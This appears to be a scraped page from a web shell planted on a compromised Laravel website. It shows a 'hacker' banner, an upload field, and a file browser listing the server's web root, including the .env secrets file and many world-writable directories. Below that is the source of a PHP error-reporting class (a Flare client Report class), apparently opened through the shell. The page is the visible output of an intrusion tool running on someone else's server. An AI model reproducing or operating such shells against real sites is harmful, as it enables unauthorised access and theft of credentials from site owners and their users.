I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
*/
protected array $glows = [];
/** @var array> */
protected array $solutions = [];
/** @var array */
public array $documentationLinks = [];
protected ContextProvider $context;
protected ?string $applicationPath = null;
protected ?string $applicationVersion = null;
/** @var array */
protected array $userProvidedContext = [];
/** @var array */
protected array $exceptionContext = [];
protected ?Throwable $throwable = null;
protected string $notifierName = 'Flare Client';
protected ?string $languageVersion = null;
protected ?string $frameworkVersion = null;
protected ?int $openFrameIndex = null;
protected string $trackingUuid;
protected ?View $view;
public static ?string $fakeTrackingUuid = null;
/** @param array|ArgumentReducer>|ArgumentReducers|null $argumentReducers */
public static function createForThrowable(
Throwable $throwable,
ContextProvider $context,
?string $applicationPath = null,
?string $version = null,
null|array|ArgumentReducers $argumentReducers = null,
bool $withStackTraceArguments = true,
): self {
$stacktrace = Backtrace::createForThrowable($throwable)
->withArguments($withStackTraceArguments)
->reduceArguments($argumentReducers)
->applicationPath($applicationPath ?? '');
return (new self())
->setApplicationPath($applicationPath)
->throwable($throwable)
->useContext($context)
->exceptionClass(self::getClassForThrowable($throwable))
->message($throwable->getMessage())
->stackTrace($stacktrace)
->exceptionContext($throwable)
->setApplicationVersion($version);
}
protected static function getClassForThrowable(Throwable $throwable): string
{
/** @phpstan-ignore-next-line */
if ($throwable::class === ViewException::class) {
/** @phpstan-ignore-next-line */
if ($previous = $throwable->getPrevious()) {
return get_class($previous);
}
}
return get_class($throwable);
}
/** @param array|ArgumentReducer>|ArgumentReducers|null $argumentReducers */
public static function createForMessage(
string $message,
string $logLevel,
ContextProvider $context,
?string $applicationPath = null,
null|array|ArgumentReducers $argumentReducers = null,
bool $withStackTraceArguments = true,
): self {
$stacktrace = Backtrace::create()
->withArguments($withStackTraceArguments)
->reduceArguments($argumentReducers)
->applicationPath($applicationPath ?? '');
return (new self())
->setApplicationPath($applicationPath)
->message($message)
->useContext($context)
->exceptionClass($logLevel)
->stacktrace($stacktrace)
->openFrameIndex($stacktrace->firstApplicationFrameIndex());
}
public function __construct()
{
$this->trackingUuid = self::$fakeTrackingUuid ?? $this->generateUuid();
}
public function trackingUuid(): string
{
return $this->trackingUuid;
}
public function exceptionClass(string $exceptionClass): self
{
$this->exceptionClass = $exceptionClass;
return $this;
}
public function getExceptionClass(): string
{
return $this->exceptionClass;
}
public function throwable(Throwable $throwable): self
{
$this->throwable = $throwable;
return $this;
}
public function getThrowable(): ?Throwable
{
return $this->throwable;
}
public function message(string $message): self
{
$this->message = $message;
return $this;
}
public function getMessage(): string
{
return $this->message;
}
public function stacktrace(Backtrace $stacktrace): self
{
$this->stacktrace = $stacktrace;
return $this;
}
public function getStacktrace(): Backtrace
{
return $this->stacktrace;
}
public function notifierName(string $notifierName): self
{
$this->notifierName = $notifierName;
return $this;
}
public function languageVersion(string $languageVersion): self
{
$this->languageVersion = $languageVersion;
return $this;
}
public function frameworkVersion(string $frameworkVersion): self
{
$this->frameworkVersion = $frameworkVersion;
return $this;
}
public function useContext(ContextProvider $request): self
{
$this->context = $request;
return $this;
}
public function openFrameIndex(?int $index): self
{
$this->openFrameIndex = $index;
return $this;
}
public function setApplicationPath(?string $applicationPath): self
{
$this->applicationPath = $applicationPath;
return $this;
}
public function getApplicationPath(): ?string
{
return $this->applicationPath;
}
public function setApplicationVersion(?string $applicationVersion): self
{
$this->applicationVersion = $applicationVersion;
return $this;
}
public function getApplicationVersion(): ?string
{
return $this->applicationVersion;
}
public function view(?View $view): self
{
$this->view = $view;
return $this;
}
public function addGlow(Glow $glow): self
{
$this->glows[] = $glow->toArray();
return $this;
}
public function addSolution(Solution $solution): self
{
$this->solutions[] = ReportSolution::fromSolution($solution)->toArray();
return $this;
}
/**
* @param array $documentationLinks
*
* @return $this
*/
public function addDocumentationLinks(array $documentationLinks): self
{
$this->documentationLinks = $documentationLinks;
return $this;
}
/**
* @param array $userProvidedContext
*
* @return $this
*/
public function userProvidedContext(array $userProvidedContext): self
{
$this->userProvidedContext = $userProvidedContext;
return $this;
}
/**
* @return array
*/
public function allContext(): array
{
$context = $this->context->toArray();
$context = array_merge_recursive_distinct($context, $this->exceptionContext);
return array_merge_recursive_distinct($context, $this->userProvidedContext);
}
protected function exceptionContext(Throwable $throwable): self
{
if ($throwable instanceof ProvidesFlareContext) {
$this->exceptionContext = $throwable->context();
}
return $this;
}
/**
* @return array
*/
protected function stracktraceAsArray(): array
{
return array_map(
fn (SpatieFrame $frame) => Frame::fromSpatieFrame($frame)->toArray(),
$this->cleanupStackTraceForError($this->stacktrace->frames()),
);
}
/**
* @param array $frames
*
* @return array
*/
protected function cleanupStackTraceForError(array $frames): array
{
if ($this->throwable === null || get_class($this->throwable) !== ErrorException::class) {
return $frames;
}
$firstErrorFrameIndex = null;
$restructuredFrames = array_values(array_slice($frames, 1)); // remove the first frame where error was created
foreach ($restructuredFrames as $index => $frame) {
if ($frame->file === $this->throwable->getFile()) {
$firstErrorFrameIndex = $index;
break;
}
}
if ($firstErrorFrameIndex === null) {
return $frames;
}
$restructuredFrames[$firstErrorFrameIndex]->arguments = null; // Remove error arguments
return array_values(array_slice($restructuredFrames, $firstErrorFrameIndex));
}
/**
* @return array
*/
public function toArray(): array
{
return [
'notifier' => $this->notifierName ?? 'Flare Client',
'language' => 'PHP',
'framework_version' => $this->frameworkVersion,
'language_version' => $this->languageVersion ?? phpversion(),
'exception_class' => $this->exceptionClass,
'seen_at' => $this->getCurrentTime(),
'message' => $this->message,
'glows' => $this->glows,
'solutions' => $this->solutions,
'documentation_links' => $this->documentationLinks,
'stacktrace' => $this->stracktraceAsArray(),
'context' => $this->allContext(),
'stage' => $this->stage,
'message_level' => $this->messageLevel,
'open_frame_index' => $this->openFrameIndex,
'application_path' => $this->applicationPath,
'application_version' => $this->applicationVersion,
'tracking_uuid' => $this->trackingUuid,
];
}
/*
* Found on https://stackoverflow.com/questions/2040240/php-function-to-generate-v4-uuid/15875555#15875555
*/
protected function generateUuid(): string
{
// Generate 16 bytes (128 bits) of random data or use the data passed into the function.
$data = random_bytes(16);
// Set version to 0100
$data[6] = chr(ord($data[6]) & 0x0f | 0x40);
// Set bits 6-7 to 10
$data[8] = chr(ord($data[8]) & 0x3f | 0x80);
// Output the 36 character UUID.
return vsprintf('%s%s-%s-%s-%s-%s%s%s', str_split(bin2hex($data), 4));
}
}